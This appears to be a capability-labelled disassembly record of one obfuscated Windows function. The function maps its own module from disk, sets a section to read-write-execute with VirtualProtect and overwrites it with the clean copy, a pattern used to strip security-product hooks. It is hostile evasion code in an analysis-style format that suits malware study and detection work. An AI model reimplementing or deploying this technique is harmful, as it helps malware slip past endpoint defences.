Function at 0x10009790
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x194], eax
mov eax, dword [0x10085080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x190], 0x526a62e2
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x198], eax
sub eax, 0x81906516
je 0x1000a4fd
jmp 0x100097d5
mov eax, dword [ebp - 0x198]
sub eax, 0x8fff01ab
je 0x1000a6de
jmp 0x100097eb
mov eax, dword [ebp - 0x198]
sub eax, 0x94710848
je 0x1000ad5f
jmp 0x10009801
mov eax, dword [ebp - 0x198]
sub eax, 0x95ff7b29
je 0x1000ac7d
jmp 0x10009817
mov eax, dword [ebp - 0x198]
sub eax, 0x9d4ec44b
je 0x1000aaa9
jmp 0x1000982d
mov eax, dword [ebp - 0x198]
sub eax, 0x9e14fed7
je 0x1000a4e3
jmp 0x10009843
mov eax, dword [ebp - 0x198]
sub eax, 0x9e7c1a93
je 0x1000ac3d
jmp 0x10009859
mov eax, dword [ebp - 0x198]
sub eax, 0x9e9681fa
je 0x1000ab6c
jmp 0x1000986f
mov eax, dword [ebp - 0x198]
sub eax, 0x9fde3b76
je 0x1000ac1f
jmp 0x10009885
mov eax, dword [ebp - 0x198]
sub eax, 0xa4f72323
je 0x1000a36e
jmp 0x1000989b
mov eax, dword [ebp - 0x198]
sub eax, 0xab771a60
je 0x1000a29c
jmp 0x100098b1
mov eax, dword [ebp - 0x198]
sub eax, 0xae48b98e
je 0x1000a230
jmp 0x100098c7
mov eax, dword [ebp - 0x198]
sub eax, 0xb6f9a6d4
je 0x1000a8c8
jmp 0x100098dd
mov eax, dword [ebp - 0x198]
sub eax, 0xb6fbab75
je 0x1000a843
jmp 0x100098f3
mov eax, dword [ebp - 0x198]
sub eax, 0xc20d97e0
je 0x1000ab09
jmp 0x10009909
mov eax, dword [ebp - 0x198]
sub eax, 0xc2fd3d90
je 0x1000ac99
jmp 0x1000991f
mov eax, dword [ebp - 0x198]
sub eax, 0xc61b2f45
je 0x1000a5f0
jmp 0x10009935
mov eax, dword [ebp - 0x198]
sub eax, 0xd197c691
je 0x1000a9e2
jmp 0x1000994b
mov eax, dword [ebp - 0x198]
sub eax, 0xd6801c79
je 0x1000a9c4
jmp 0x10009961
mov eax, dword [ebp - 0x198]
sub eax, 0xdb4318b2
je 0x1000a56d
jmp 0x10009977
mov eax, dword [ebp - 0x198]
sub eax, 0xdbf86f2f
je 0x1000a3b7
jmp 0x1000998d
mov eax, dword [ebp - 0x198]
sub eax, 0xdef8b127
je 0x1000a42d
jmp 0x100099a3
mov eax, dword [ebp - 0x198]
sub eax, 0xe25f4164
je 0x1000ab8d
jmp 0x100099b9
mov eax, dword [ebp - 0x198]
sub eax, 0xe5f0f3ea
je 0x1000acc2
jmp 0x100099cf
mov eax, dword [ebp - 0x198]
sub eax, 0xe64633c3
je 0x10009f01
jmp 0x100099e5
mov eax, dword [ebp - 0x198]
sub eax, 0xee9ccd5f
je 0x10009e34
jmp 0x100099fb
mov eax, dword [ebp - 0x198]
sub eax, 0xf27b3256
je 0x1000aa14
jmp 0x10009a11
mov eax, dword [ebp - 0x198]
sub eax, 0xf8674f73
je 0x1000a053
jmp 0x10009a27
mov eax, dword [ebp - 0x198]
sub eax, 0xf8683a88
je 0x1000a062
jmp 0x10009a3d
mov eax, dword [ebp - 0x198]
sub eax, 0xf8930a4d
je 0x1000a5e1
jmp 0x10009a53
mov eax, dword [ebp - 0x198]
sub eax, 0xf9201c0d
je 0x1000a28d
jmp 0x10009a69
mov eax, dword [ebp - 0x198]
sub eax, 0xfa6b9f7b
je 0x10009eb9
jmp 0x10009a7f
mov eax, dword [ebp - 0x198]
sub eax, 0x28da296
je 0x1000a0ab
jmp 0x10009a95
mov eax, dword [ebp - 0x198]
sub eax, 0x921f6d3
je 0x1000a30e
jmp 0x10009aab
mov eax, dword [ebp - 0x198]
sub eax, 0xe8ecf3e
je 0x10009d82
jmp 0x10009ac1
mov eax, dword [ebp - 0x198]
sub eax, 0xf1f5adb
je 0x1000aa33
jmp 0x10009ad7
mov eax, dword [ebp - 0x198]
sub eax, 0x16b8ca9f
je 0x1000ac2e
jmp 0x10009aed
mov eax, dword [ebp - 0x198]
sub eax, 0x19cff465
je 0x1000a169
jmp 0x10009b03
mov eax, dword [ebp - 0x198]
sub eax, 0x19f2a58e
je 0x1000a2bd
jmp 0x10009b19
mov eax, dword [ebp - 0x198]
sub eax, 0x1b24c208
je 0x1000ab3c
jmp 0x10009b2f
mov eax, dword [ebp - 0x198]
sub eax, 0x24d459d6
je 0x1000a11e
jmp 0x10009b45
mov eax, dword [ebp - 0x198]
sub eax, 0x28a911da
je 0x10009eaa
jmp 0x10009b5b
mov eax, dword [ebp - 0x198]
sub eax, 0x29339f4c
je 0x1000a66c
jmp 0x10009b71
mov eax, dword [ebp - 0x198]
sub eax, 0x2ad0b6db
je 0x1000a62e
jmp 0x10009b87
mov eax, dword [ebp - 0x198]
sub eax, 0x364f4fba
je 0x1000aafa
jmp 0x10009b9d
mov eax, dword [ebp - 0x198]
sub eax, 0x37019a27
je 0x1000a852
jmp 0x10009bb3
mov eax, dword [ebp - 0x198]
sub eax, 0x3aae3288
je 0x1000a13f
jmp 0x10009bc9
mov eax, dword [ebp - 0x198]
sub eax, 0x43820290
je 0x10009f6f
jmp 0x10009bdf
mov eax, dword [ebp - 0x198]
sub eax, 0x4853d3e2
je 0x1000a7a4
jmp 0x10009bf5
mov eax, dword [ebp - 0x198]
sub eax, 0x526a62e2
je 0x10009d2e
jmp 0x10009c0b
mov eax, dword [ebp - 0x198]
sub eax, 0x539ed284
je 0x1000a4d4
jmp 0x10009c21
mov eax, dword [ebp - 0x198]
sub eax, 0x57cfc512
je 0x1000ac04
jmp 0x10009c37
mov eax, dword [ebp - 0x198]
sub eax, 0x586b3888
je 0x1000ab7e
jmp 0x10009c4d
mov eax, dword [ebp - 0x198]
sub eax, 0x5fa4b66d
je 0x1000a51c
jmp 0x10009c63
mov eax, dword [ebp - 0x198]
sub eax, 0x67b5c72a
je 0x1000ab5d
jmp 0x10009c79
mov eax, dword [ebp - 0x198]
sub eax, 0x68416267
je 0x1000a1e7
jmp 0x10009c8f
mov eax, dword [ebp - 0x198]
sub eax, 0x69b639bd
je 0x1000a611
jmp 0x10009ca5
mov eax, dword [ebp - 0x198]
sub eax, 0x7260a921
je 0x1000a1c6
jmp 0x10009cbb
mov eax, dword [ebp - 0x198]
sub eax, 0x7651c975
je 0x1000a753
jmp 0x10009cd1
mov eax, dword [ebp - 0x198]
sub eax, 0x791ea5d5
je 0x1000a14e
jmp 0x10009ce7
mov eax, dword [ebp - 0x198]
sub eax, 0x7bface66
je 0x10009deb
jmp 0x10009cfd
mov eax, dword [ebp - 0x198]
sub eax, 0x7f52647d
je 0x1000a9d3
jmp 0x10009d13
mov eax, dword [ebp - 0x198]
sub eax, 0x7fab8e3b
je 0x1000a35f
jmp 0x10009d29
jmp 0x1000ad69
mov eax, dword [ebp - 0x194]
push eax
mov ecx, esp
mov dword [ebp - 0x16c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x168], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x164], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x160], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x170], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x190], 0xe8ecf3e
jmp 0x1000ad69
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x174], eax
lea eax, [ebp - 0x120]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.100252e0
add esp, 0xc
mov eax, dword [ebp - 0x170]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x178], eax
mov eax, 0x7bface66
mov ecx, 0xfa6b9f7b
cmp dword [ebp - 0x178], 0
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x586b3888
mov ecx, 0xee9ccd5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov ecx, dword [0x10086554]
mov eax, dword [0x10086550]
mov edx, ecx
add edx, 0x13f1cc46
sub edx, 1
sub edx, 0x13f1cc46
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x586b3888
mov ecx, 0x28a911da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov dword [ebp - 0x190], 0x9e9681fa
jmp 0x1000ad69
mov ecx, dword [ebp - 0x178]
mov edx, dword [ebp - 0x174]
lea eax, [ebp - 0x120]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x190], 0xe64633c3
jmp 0x1000ad69
mov ecx, dword [0x10086554]
mov eax, dword [0x10086550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe25f4164
mov ecx, 0x43820290
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
lea eax, [ebp - 0x114]
mov ecx, dword [ebp - 0x178]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x114]
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x154], eax
mov ecx, dword [0x10086554]
mov eax, dword [0x10086550]
mov edx, ecx
sub edx, 0x6ee07413
sub edx, 1
add edx, 0x6ee07413
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe25f4164
mov ecx, 0xf8674f73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov dword [ebp - 0x190], 0xf8683a88
jmp 0x1000ad69
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x57cfc512
mov ecx, 0x28da296
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x180], eax
mov eax, 0xffffffff
cmp dword [ebp - 0x180], eax
sete al
and al, 1
mov byte [ebp - 0x14d], al
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
mov edx, eax
sub edx, 0xeb188803
sub edx, 1
add edx, 0xeb188803
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x57cfc512
mov ecx, 0x24d459d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov dl, byte [ebp - 0x14d]
mov eax, 0x791ea5d5
mov ecx, 0x3aae3288
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov dword [ebp - 0x190], 0x9e9681fa
jmp 0x1000ad69
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x190], 0x19cff465
jmp 0x1000ad69
mov eax, dword [ebp - 0x14c]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x190], 0x7260a921
jmp 0x1000ad69
mov edx, dword [ebp - 0x148]
mov eax, 0x68416267
mov ecx, 0xa4f72323
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9fde3b76
mov ecx, 0xae48b98e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x144], eax
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
mov edx, eax
add edx, 0x679353
sub edx, 1
sub edx, 0x679353
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9fde3b76
mov ecx, 0xf9201c0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov dword [ebp - 0x190], 0xab771a60
jmp 0x1000ad69
mov eax, dword [ebp - 0x144]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x190], 0x19f2a58e
jmp 0x1000ad69
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
mov edx, eax
sub edx, 0xa8c96207
sub edx, 1
add edx, 0xa8c96207
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x16b8ca9f
mov ecx, 0x921f6d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
mov edx, eax
sub edx, 0x74aae6ce
sub edx, 1
add edx, 0x74aae6ce
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x16b8ca9f
mov ecx, 0x7fab8e3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov dword [ebp - 0x190], 0x9e9681fa
jmp 0x1000ad69
mov eax, dword [ebp - 0x184]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x190], 0xdbf86f2f
jmp 0x1000ad69
mov ecx, dword [0x10086554]
mov eax, dword [0x10086550]
mov edx, ecx
add edx, 0x4cef3cbe
sub edx, 1
sub edx, 0x4cef3cbe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9e7c1a93
mov ecx, 0xdef8b127
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x18c], eax
mov ecx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax + 0x3c]
add ecx, 0x58ff723a
add ecx, eax
sub ecx, 0x58ff723a
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov ecx, dword [0x10086554]
mov eax, dword [0x10086550]
mov edx, ecx
add edx, 0x550c38c3
sub edx, 1
sub edx, 0x550c38c3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9e7c1a93
mov ecx, 0x539ed284
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov dword [ebp - 0x190], 0x9e14fed7
jmp 0x1000ad69
mov eax, dword [ebp - 0x168]
mov word [eax], 0
mov dword [ebp - 0x190], 0x81906516
jmp 0x1000ad69
mov eax, dword [ebp - 0x168]
mov ax, word [eax]
mov word [ebp - 0x140], ax
mov dword [ebp - 0x190], 0x5fa4b66d
jmp 0x1000ad69
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
mov edx, eax
add edx, 0x78c54d9f
sub edx, 1
sub edx, 0x78c54d9f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x95ff7b29
mov ecx, 0xdb4318b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov ax, word [ebp - 0x140]
movzx eax, ax
mov ecx, dword [ebp - 0x16c]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x13d], al
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
mov edx, eax
sub edx, 0xdf8d1643
sub edx, 1
add edx, 0xdf8d1643
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x95ff7b29
mov ecx, 0xf8930a4d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov dword [ebp - 0x190], 0xc61b2f45
jmp 0x1000ad69
mov dl, byte [ebp - 0x13d]
mov eax, 0xc20d97e0
mov ecx, 0x69b639bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x190], 0x2ad0b6db
jmp 0x1000ad69
mov eax, dword [ebp - 0x13c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
add eax, 4
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x190], 0x29339f4c
jmp 0x1000ad69
mov eax, dword [ebp - 0x134]
movzx edx, word [eax]
mov ecx, dword [ebp - 0x138]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x168]
movzx eax, word [eax]
imul eax, eax, 0x28
add ecx, 0x404a85e8
add ecx, eax
sub ecx, 0x404a85e8
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x10032c7d
call fcn.10028c40
add esp, 8
mov edx, eax
mov eax, 0x8fff01ab
mov ecx, 0x7f52647d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov eax, dword [ebp - 0x160]
mov dword [eax], 0
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add edx, 0x844e6932
add edx, eax
sub edx, 0x844e6932
mov eax, dword [ebp - 0x160]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x12d], al
mov dword [ebp - 0x190], 0x7651c975
jmp 0x1000ad69
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
mov edx, eax
add edx, 0x9f6cea6c
sub edx, 1
sub edx, 0x9f6cea6c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2fd3d90
mov ecx, 0x4853d3e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov eax, dword [ebp - 0x15c]
mov cl, byte [ebp - 0x12d]
mov byte [eax], cl
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x164]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
add eax, 0x485866a
add eax, ecx
sub eax, 0x485866a
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x164]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x128], eax
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
mov edx, eax
add edx, 0xc222a7d1
sub edx, 1
sub edx, 0xc222a7d1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2fd3d90
mov ecx, 0xb6fbab75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov dword [ebp - 0x190], 0x37019a27
jmp 0x1000ad69
mov ecx, dword [0x10086554]
mov eax, dword [0x10086550]
mov edx, ecx
sub edx, 0xf227b366
sub edx, 1
add edx, 0xf227b366
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe5f0f3ea
mov ecx, 0xb6f9a6d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x128]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10025440
add esp, 0xc
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov edi, dword [eax + 0xc]
xor eax, eax
sub eax, edi
sub esi, eax
mov eax, dword [ebp - 0x160]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x15c]
mov byte [eax], cl
mov ecx, dword [0x10086554]
mov eax, dword [0x10086550]
mov edx, ecx
add edx, 0x150228e8
sub edx, 1
sub edx, 0x150228e8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe5f0f3ea
mov ecx, 0xd6801c79
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov dword [ebp - 0x190], 0x7f52647d
jmp 0x1000ad69
mov dword [ebp - 0x190], 0xd197c691
jmp 0x1000ad69
mov eax, dword [ebp - 0x168]
mov ax, word [eax]
xor ecx, ecx
sub cx, ax
xor eax, eax
sub ax, 1
add cx, ax
xor eax, eax
sub ax, cx
mov word [ebp - 0x122], ax
mov dword [ebp - 0x190], 0xf27b3256
jmp 0x1000ad69
mov eax, dword [ebp - 0x168]
mov cx, word [ebp - 0x122]
mov word [eax], cx
mov dword [ebp - 0x190], 0xf1f5adb
jmp 0x1000ad69
mov ecx, dword [0x10086554]
mov eax, dword [0x10086550]
mov edx, ecx
add edx, 0xdf7ddb3
sub edx, 1
sub edx, 0xdf7ddb3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x94710848
mov ecx, 0x9d4ec44b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov eax, dword [0x10086554]
mov ecx, dword [0x10086550]
mov edx, eax
add edx, 0x6d59ac1e
sub edx, 1
sub edx, 0x6d59ac1e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x94710848
mov ecx, 0x364f4fba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000ad69
mov dword [ebp - 0x190], 0x81906516
jmp 0x1000ad69
mov eax, dword [ebp - 0x180]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x184]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x190], 0x1b24c208
jmp 0x1000ad69
mov eax, dword [ebp - 0x174]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x190], 0x67b5c72a
jmp 0x1000ad69
mov dword [ebp - 0x190], 0x9e9681fa
jmp 0x1000ad69
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10024540
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x190], 0xee9ccd5f
jmp 0x1000ad69
lea eax, [ebp - 0x114]
mov ecx, dword [ebp - 0x178]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x114]
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x190], 0x43820290
jmp 0x1000ad69
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x190], 0x28da296
jmp 0x1000ad69
mov dword [ebp - 0x190], 0xae48b98e
jmp 0x1000ad69
mov dword [ebp - 0x190], 0x921f6d3
jmp 0x1000ad69
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x18c], eax
mov ecx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax + 0x3c]
sub ecx, 0xf1b030a1
add ecx, eax
add ecx, 0xf1b030a1
